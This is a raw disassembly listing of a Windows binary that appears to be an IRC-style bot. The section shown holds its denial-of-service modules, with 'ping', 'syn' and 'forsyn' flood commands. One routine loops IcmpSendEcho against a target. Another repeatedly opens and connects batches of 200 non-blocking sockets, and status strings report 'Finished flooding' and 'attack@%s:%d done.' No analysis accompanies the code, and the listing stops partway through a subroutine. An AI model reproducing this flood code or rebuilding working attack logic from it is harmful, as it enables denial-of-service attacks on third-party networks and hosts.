jz short loc_425C3B
mov ecx, eax
call sub_401DD9
mov ebp, eax
loc_425C3B: ; CODE XREF: ___:00425C30j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FBE
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013D4
mov ebp, [esp+54h]
loc_425D68: ; CODE XREF: ___:00425C11j
lea ecx, [ebx+8Eh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_425EDA
push 95h
call sub_4367FA
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_425DAB
mov ecx, eax
call sub_401BC7
mov ebp, eax
jmp short loc_425DAD
; ---------------------------------------------------------------------------
loc_425DAB: ; CODE XREF: ___:00425D9Ej
xor ebp, ebp
loc_425DAD: ; CODE XREF: ___:00425DA9j
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_425EDA: ; CODE XREF: ___:00425D7Dj
lea ecx, [ebx+4]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_426049
push 95h
call sub_4367FA
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_425F1A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_425F1C
; ---------------------------------------------------------------------------
loc_425F1A: ; CODE XREF: ___:00425F0Dj
xor ebp, ebp
loc_425F1C: ; CODE XREF: ___:00425F18j
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013D4
mov ebp, [esp+54h]
loc_426049: ; CODE XREF: ___:00425EECj
lea ecx, [ebx+32h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4261F4
push 95h
call sub_4367FA
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_426089
mov ecx, eax
call sub_401785
mov ebp, eax
jmp short loc_42608B
; ---------------------------------------------------------------------------
loc_426089: ; CODE XREF: ___:0042607Cj
xor ebp, ebp
loc_42608B: ; CODE XREF: ___:00426087j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_4261F4: ; CODE XREF: ___:0042605Bj
lea ecx, [ebx+0EAh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_426211
mov [ebx+11Ch], al
loc_426211: ; CODE XREF: ___:00426209j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4263D0 proc near ; CODE XREF: sub_401A64j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A34
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4263F1
inc ecx
mov [eax+118h], ecx
loc_4263F1: ; CODE XREF: sub_4263D0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
xor eax, eax
pop esi
pop ecx
retn
sub_4263D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426450 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426450
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0DC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426450 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4264C0 proc near ; CODE XREF: sub_401F7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4264C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4264C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_4014C4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426560
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426620: ; CODE XREF: ___:loc_4016D1j
; ___:0040217Bj
push esi
mov esi, ecx
call sub_4014C4
test byte ptr [esp+8], 1
jz short loc_426638
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426638: ; CODE XREF: ___:0042662Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402090
test [esp+4+arg_0], 1
jz short loc_426668
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426668: ; CODE XREF: sub_426650+Dj
mov eax, esi
pop esi
retn 4
sub_426650 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426680 proc near ; CODE XREF: sub_402090j
jmp sub_4014C4
sub_426680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266A0 proc near ; CODE XREF: sub_401A41j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4266A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_40182F
add esp, 10h
test eax, eax
jz short loc_426764
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_42677E
; ---------------------------------------------------------------------------
loc_426764: ; CODE XREF: sub_4266A0+9Aj
mov ecx, ebx
call sub_4017E4
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_42677E: ; CODE XREF: sub_4266A0+C2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_4266A0 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426820 proc near ; CODE XREF: sub_401E7Ej
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_436840
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27E08BFh
mov esi, eax
test esi, esi
jz short loc_42688A
mov edi, dword_50F8A0
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi ; dword_50F8A0
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_50E140, eax
call edi ; dword_50F8A0
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_50E144, eax
call edi ; dword_50F8A0
mov ecx, dword_50E140
mov dword_50E13C, eax
test ecx, ecx
jz short loc_42688A
mov edx, dword_50E144
test edx, edx
jz short loc_42688A
test eax, eax
jz short loc_42688A
mov al, [esp+0Bh]
test al, al
jz short loc_426895
loc_42688A: ; CODE XREF: sub_426820+1Bj
; sub_426820+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_426895: ; CODE XREF: sub_426820+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_4268AC
mov [esp+24h+arg_FFE8], eax
loc_4268AC: ; CODE XREF: sub_426820+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_4268BF
mov ebp, 1
loc_4268BF: ; CODE XREF: sub_426820+98j
call ecx ; dword_50E140
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_426904
loc_4268D0: ; CODE XREF: sub_426820+E2j
mov al, byte_4D64E9
test al, al
jz short loc_426904
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_50E13C ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_4268D0
loc_426904: ; CODE XREF: sub_426820+AEj
; sub_426820+B7j
push edi
call dword_50E144 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_426820 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426960 proc near ; CODE XREF: sub_40182Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40187F
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E7E
add esp, 14h
retn
sub_426960 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401BC7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4269A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0FC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426A10: ; CODE XREF: ___:00401A19j
; ___:loc_401AAFj
push esi
mov esi, ecx
call sub_4017FD
test byte ptr [esp+8], 1
jz short loc_426A28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426A28: ; CODE XREF: ___:00426A1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A40 proc near ; CODE XREF: sub_4017FDj
jmp sub_4014C4
sub_426A40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A60 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426A60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E5DBF
mov [esp+2Ch+var_28], eax
loc_426A86: ; CODE XREF: sub_426A60+35j
cmp dword ptr [ecx], 0
jz short loc_426A97
add ecx, 78h
inc eax
cmp ecx, offset byte_4E671F
jl short loc_426A86
loc_426A97: ; CODE XREF: sub_426A60+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_426C49
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E5D4Bh[eax*8]
call sub_4017E4
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_426B00
mov dword ptr [ebp+68h], 5
loc_426B00: ; CODE XREF: sub_426A60+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_50E14C
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_50E34C
push 0
push ecx
push offset sub_4012C1
push 0
push 0
call near ptr 2780965h
nop
test eax, eax
mov dword_50E350, eax
jz short loc_426B9B
push offset dword_446F64
push 5
push eax
push 0
push offset dword_50E14C
call sub_4013E8
add esp, 14h
mov [ebp+70h], eax
jmp short loc_426BCB
; ---------------------------------------------------------------------------
loc_426B9B: ; CODE XREF: sub_426A60+11Dj
mov ecx, esi
call sub_4017E4
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_426BCB: ; CODE XREF: sub_426A60+139j
lea ecx, [esp+38h+var_24]
call sub_401424
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017E4
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014D3
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_426C49: ; CODE XREF: sub_426A60+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_426A60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426CE0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E5D4Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
nop
call near ptr 71AB2B66h
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_426D76
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_426D6F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6765[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_426D6F: ; CODE XREF: sub_426CE0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_426D76: ; CODE XREF: sub_426CE0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_426E26
mov ebx, dword_50FC30
loc_426D95: ; CODE XREF: sub_426CE0+140j
mov al, byte_4D64E9
test al, al
jz loc_426E26
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DAB: ; CODE XREF: sub_426CE0+EFj
push 0
push 1
push 2
call ebx ; dword_50FC30
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_426DCB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
call near ptr 71AB4519h
nop
loc_426DCB: ; CODE XREF: sub_426CE0+D8j
add esi, 4
dec edi
jnz short loc_426DAB
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DDA: ; CODE XREF: sub_426CE0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_426DDA
mov ecx, [ebp+68h]
push ecx
call near ptr 28402DAh
nop
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426E03: ; CODE XREF: sub_426CE0+130j
mov edx, [esi]
push edx
nop
call near ptr 71AB9639h
add esi, 4
dec edi
jnz short loc_426E03
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_426D95
loc_426E26: ; CODE XREF: sub_426CE0+A9j
; sub_426CE0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6765[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_426CE0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426EB0 proc near ; CODE XREF: sub_401DD9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426EB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E10C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426EB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_426F38
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426F38: ; CODE XREF: sub_426F20+Dj
mov eax, esi
pop esi
retn 4
sub_426F20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
